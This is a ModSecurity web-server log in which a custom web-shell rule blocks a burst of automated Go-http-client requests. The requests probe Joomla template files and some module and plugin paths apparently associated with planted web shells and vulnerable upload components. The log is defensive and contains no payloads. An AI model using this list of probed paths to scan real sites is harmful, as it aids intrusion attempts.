[Mon Dec 08 17:29:15.617965 2025] [:error] [pid 58760:tid 58837] [client 98.159.43.27:33631] [client 98.159.43.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/madeyourweb/error.php"] [unique_id "aTaaa2qmF_jKbCz9E6lPtAAAABQ"]
[Mon Dec 08 17:29:15.967876 2025] [:error] [pid 2754:tid 2781] [client 98.159.43.32:55563] [client 98.159.43.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Binv/error.php"] [unique_id "aTaaa7SzS4AFjS-DhTUSVwAAAVc"]
[Mon Dec 08 17:29:16.318439 2025] [:error] [pid 58760:tid 58838] [client 98.159.43.11:60777] [client 98.159.43.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Beez2/index.php"] [unique_id "aTaabGqmF_jKbCz9E6lPtQAAABU"]
[Mon Dec 08 17:29:16.713242 2025] [:error] [pid 2754:tid 2779] [client 98.159.43.47:58257] [client 98.159.43.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Atum/error.php"] [unique_id "aTaabLSzS4AFjS-DhTUSWgAAAVU"]
[Mon Dec 08 17:29:17.081920 2025] [:error] [pid 58760:tid 58819] [client 98.159.43.11:21259] [client 98.159.43.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/protostar/error.php"] [unique_id "aTaabWqmF_jKbCz9E6lPtgAAAAI"]
[Mon Dec 08 17:29:17.492037 2025] [:error] [pid 58758:tid 58778] [client 98.159.43.25:34075] [client 98.159.43.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/beez_20/error.php"] [unique_id "aTaabQBS5U6_vVkyhEeCjgAAAFA"]
[Mon Dec 08 17:29:17.913120 2025] [:error] [pid 37840:tid 37855] [client 98.159.43.13:58073] [client 98.159.43.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/cassiopeia/index.php"] [unique_id "aTaabVnJIKqlie_aHNbGzAAAAYw"]
[Mon Dec 08 17:29:18.284510 2025] [:error] [pid 58760:tid 58833] [client 98.159.43.51:38719] [client 98.159.43.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/beez3/jsstrings.php"] [unique_id "aTaabmqmF_jKbCz9E6lPtwAAABA"]
[Mon Dec 08 17:29:18.634514 2025] [:error] [pid 58758:tid 58781] [client 98.159.43.14:60327] [client 98.159.43.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/protostar/index.php"] [unique_id "aTaabgBS5U6_vVkyhEeCjwAAAFM"]
[Mon Dec 08 17:29:18.995719 2025] [:error] [pid 37840:tid 37843] [client 98.159.43.48:22987] [client 98.159.43.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Atum/index.php"] [unique_id "aTaablnJIKqlie_aHNbGzgAAAYA"]
[Mon Dec 08 17:29:19.376377 2025] [:error] [pid 58847:tid 58860] [client 98.159.43.34:30981] [client 98.159.43.34] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Beez3/error.php"] [unique_id "aTaab3y4UHQXWKMwpHnaKwAAAQc"]
[Mon Dec 08 17:29:19.737175 2025] [:error] [pid 58759:tid 58793] [client 98.159.43.7:46039] [client 98.159.43.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Hoxa/index.php"] [unique_id "aTaab_6HZGkO2H0XX-h4gQAAAMM"]
[Mon Dec 08 17:29:20.105055 2025] [:error] [pid 2754:tid 2760] [client 98.159.43.15:26257] [client 98.159.43.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/isis/index.php"] [unique_id "aTaacLSzS4AFjS-DhTUSXAAAAUM"]
[Mon Dec 08 17:29:20.539400 2025] [:error] [pid 58847:tid 58865] [client 98.159.43.18:38177] [client 98.159.43.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Aaika/error.php"] [unique_id "aTaacHy4UHQXWKMwpHnaWQAAAQw"]
[Mon Dec 08 17:29:20.906363 2025] [:error] [pid 2754:tid 2782] [client 98.159.43.21:44963] [client 98.159.43.21] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Binv/index.php"] [unique_id "aTaacLSzS4AFjS-DhTUSXQAAAVg"]
[Mon Dec 08 17:29:21.371031 2025] [:error] [pid 2754:tid 2779] [client 98.159.43.51:30197] [client 98.159.43.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/JMart/error.php"] [unique_id "aTaacbSzS4AFjS-DhTUSXgAAAVU"]
[Mon Dec 08 17:29:21.738860 2025] [:error] [pid 2754:tid 2771] [client 98.159.43.43:51847] [client 98.159.43.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Cassiopeia/error.php"] [unique_id "aTaacbSzS4AFjS-DhTUSYAAAAU4"]
[Mon Dec 08 17:29:22.159418 2025] [:error] [pid 58758:tid 58776] [client 98.159.43.37:22215] [client 98.159.43.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/atomic/index.php"] [unique_id "aTaacgBS5U6_vVkyhEeCkQAAAE4"]
[Mon Dec 08 17:29:22.541282 2025] [:error] [pid 58758:tid 58779] [client 98.159.43.45:37659] [client 98.159.43.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Beez5/error.php"] [unique_id "aTaacgBS5U6_vVkyhEeCkgAAAFE"]
[Mon Dec 08 17:29:22.994014 2025] [:error] [pid 58847:tid 58875] [client 98.159.43.43:34695] [client 98.159.43.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Eatoreh/index.php"] [unique_id "aTaacny4UHQXWKMwpHnaZgAAARY"]
[Mon Dec 08 17:29:23.438981 2025] [:error] [pid 58760:tid 58824] [client 98.159.43.30:45217] [client 98.159.43.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/rhuk_milkyway/error.php"] [unique_id "aTaac2qmF_jKbCz9E6lPvAAAAAc"]
[Mon Dec 08 17:29:23.790274 2025] [:error] [pid 58760:tid 58823] [client 98.159.43.49:50837] [client 98.159.43.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/ja-helio-farsi/index.php"] [unique_id "aTaac2qmF_jKbCz9E6lPvQAAAAY"]
[Mon Dec 08 17:29:24.152904 2025] [:error] [pid 37840:tid 37851] [client 98.159.43.6:41065] [client 98.159.43.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Aaika/index.php"] [unique_id "aTaadFnJIKqlie_aHNbG4wAAAYg"]
[Mon Dec 08 17:29:24.525042 2025] [:error] [pid 63353:tid 63356] [client 98.159.43.11:54353] [client 98.159.43.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/administrator/templates/hathor/index.php"] [unique_id "aTaadBtg8HdYG392GAj_BQAAAIA"]
[Mon Dec 08 17:29:24.896322 2025] [:error] [pid 63353:tid 63364] [client 98.159.43.21:31085] [client 98.159.43.21] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/madeyourweb/index.php"] [unique_id "aTaadBtg8HdYG392GAj_BgAAAIg"]
[Mon Dec 08 17:29:25.253474 2025] [:error] [pid 37840:tid 37853] [client 98.159.43.37:34309] [client 98.159.43.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/hathor/index.php"] [unique_id "aTaadVnJIKqlie_aHNbG5QAAAYo"]
[Mon Dec 08 17:29:25.612170 2025] [:error] [pid 2754:tid 2767] [client 98.159.43.30:33641] [client 98.159.43.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Genius/error.php"] [unique_id "aTaadbSzS4AFjS-DhTUSZQAAAUo"]
[Mon Dec 08 17:29:25.969860 2025] [:error] [pid 58760:tid 58840] [client 98.159.43.2:48119] [client 98.159.43.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Atomic/index.php"] [unique_id "aTaadWqmF_jKbCz9E6lPvgAAABc"]
[Mon Dec 08 17:29:26.328389 2025] [:error] [pid 37840:tid 37855] [client 98.159.43.26:59005] [client 98.159.43.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Eatoreh/error.php"] [unique_id "aTaadlnJIKqlie_aHNbG6QAAAYw"]
[Mon Dec 08 17:29:26.758505 2025] [:error] [pid 37840:tid 37862] [client 98.159.43.12:50689] [client 98.159.43.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/RiverS/error.php"] [unique_id "aTaadlnJIKqlie_aHNbG6gAAAZM"]
[Mon Dec 08 17:29:27.123696 2025] [:error] [pid 58760:tid 58831] [client 98.159.43.8:28897] [client 98.159.43.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/hathor/error.php"] [unique_id "aTaad2qmF_jKbCz9E6lPvwAAAA4"]
[Mon Dec 08 17:29:27.497262 2025] [:error] [pid 2754:tid 2781] [client 98.159.43.27:44169] [client 98.159.43.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/RiverS/index.php"] [unique_id "aTaad7SzS4AFjS-DhTUSaAAAAVc"]
[Mon Dec 08 17:29:27.852840 2025] [:error] [pid 2754:tid 2771] [client 98.159.43.28:61575] [client 98.159.43.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/beez3/index.php"] [unique_id "aTaad7SzS4AFjS-DhTUSagAAAU4"]
[Mon Dec 08 17:29:29.646590 2025] [:error] [pid 58758:tid 58783] [client 98.159.43.51:60153] [client 98.159.43.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Yamato/error.php"] [unique_id "aTaaeQBS5U6_vVkyhEeClAAAAFU"]
[Mon Dec 08 17:29:29.996380 2025] [:error] [pid 58759:tid 58801] [client 98.159.43.7:27231] [client 98.159.43.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/JMart/index.php"] [unique_id "aTaaef6HZGkO2H0XX-h4hAAAAMs"]
[Mon Dec 08 17:29:30.346493 2025] [:error] [pid 58847:tid 58875] [client 98.159.43.12:62473] [client 98.159.43.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/beez/index.php"] [unique_id "aTaaeny4UHQXWKMwpHnabgAAARY"]
[Mon Dec 08 17:29:30.708361 2025] [:error] [pid 58760:tid 58819] [client 98.159.43.47:54355] [client 98.159.43.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Cassiopeia/index.php"] [unique_id "aTaaemqmF_jKbCz9E6lPwQAAAAI"]
[Mon Dec 08 17:29:31.083212 2025] [:error] [pid 63353:tid 63357] [client 98.159.43.46:47825] [client 98.159.43.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/beez5/error.php"] [unique_id "aTaaextg8HdYG392GAj_CQAAAIE"]
[Mon Dec 08 17:29:31.438047 2025] [:error] [pid 58760:tid 58833] [client 98.159.43.31:60077] [client 98.159.43.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Genius/index.php"] [unique_id "aTaae2qmF_jKbCz9E6lPwgAAABA"]
[Mon Dec 08 17:29:31.842236 2025] [:error] [pid 2754:tid 2757] [client 98.159.43.31:37841] [client 98.159.43.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Beez5/index.php"] [unique_id "aTaae7SzS4AFjS-DhTUSbgAAAUA"]
[Mon Dec 08 17:29:32.197156 2025] [:error] [pid 2754:tid 2760] [client 98.159.43.37:34233] [client 98.159.43.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Raees/error.php"] [unique_id "aTaafLSzS4AFjS-DhTUScQAAAUM"]
[Mon Dec 08 17:29:32.545357 2025] [:error] [pid 58760:tid 58826] [client 98.159.43.16:26599] [client 98.159.43.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/BeginDot/index.php"] [unique_id "aTaafGqmF_jKbCz9E6lPxAAAAAk"]
[Mon Dec 08 17:29:32.894212 2025] [:error] [pid 58758:tid 58784] [client 98.159.43.52:35859] [client 98.159.43.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/rhuk_solarflare_ii/error.php"] [unique_id "aTaafABS5U6_vVkyhEeClQAAAFY"]
[Mon Dec 08 17:29:33.244772 2025] [:error] [pid 58758:tid 58772] [client 98.159.43.50:41315] [client 98.159.43.50] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Beez2/error.php"] [unique_id "aTaafQBS5U6_vVkyhEeClgAAAEo"]
[Mon Dec 08 17:29:33.623179 2025] [:error] [pid 2754:tid 2764] [client 98.159.43.32:38509] [client 98.159.43.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/cassiopeia/error.php"] [unique_id "aTaafbSzS4AFjS-DhTUSdgAAAUc"]
[Mon Dec 08 17:29:33.988563 2025] [:error] [pid 63353:tid 63361] [client 98.159.43.47:35605] [client 98.159.43.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Jollyany/index.php"] [unique_id "aTaafRtg8HdYG392GAj_CwAAAIU"]
[Mon Dec 08 17:29:34.466362 2025] [:error] [pid 58760:tid 58835] [client 98.159.43.50:63307] [client 98.159.43.50] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/templates/Jollyany/error.php"] [unique_id "aTaafmqmF_jKbCz9E6lPyAAAABI"]
[Mon Dec 08 17:29:34.878428 2025] [:error] [pid 58760:tid 58820] [client 98.159.43.25:58417] [client 98.159.43.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/modules/ets_whatsapp/new.php"] [unique_id "aTaafmqmF_jKbCz9E6lPygAAAAM"]
[Mon Dec 08 17:29:35.239074 2025] [:error] [pid 2754:tid 2757] [client 98.159.43.32:54691] [client 98.159.43.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "aTaaf7SzS4AFjS-DhTUSeAAAAUA"]
[Mon Dec 08 17:29:35.614279 2025] [:error] [pid 58758:tid 58765] [client 98.159.43.51:24643] [client 98.159.43.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/udd.php"] [unique_id "aTaafwBS5U6_vVkyhEeCmAAAAEM"]
[Mon Dec 08 17:29:35.996938 2025] [:error] [pid 2754:tid 2767] [client 98.159.43.31:40061] [client 98.159.43.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/modules/ets_whatsapp/security.php"] [unique_id "aTaaf7SzS4AFjS-DhTUSewAAAUo"]
[Mon Dec 08 17:29:36.474300 2025] [:error] [pid 58758:tid 58769] [client 98.159.43.24:44091] [client 98.159.43.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/modules/mod%20ariimageslidersa/mod%20ariimageslidersa.php"] [unique_id "aTaagABS5U6_vVkyhEeCmQAAAEc"]
[Mon Dec 08 17:29:37.013998 2025] [:error] [pid 2754:tid 2762] [client 98.159.43.44:30675] [client 98.159.43.44] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/age-restriction/modules/remote_support/remote_init.php"] [unique_id "aTaagbSzS4AFjS-DhTUSfgAAAUU"]
[Mon Dec 08 17:29:37.366986 2025] [:error] [pid 2754:tid 2761] [client 98.159.43.15:24877] [client 98.159.43.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/modules/mod_ju_articleslider/tmpl/admin.php"] [unique_id "aTaagbSzS4AFjS-DhTUSgAAAAUQ"]
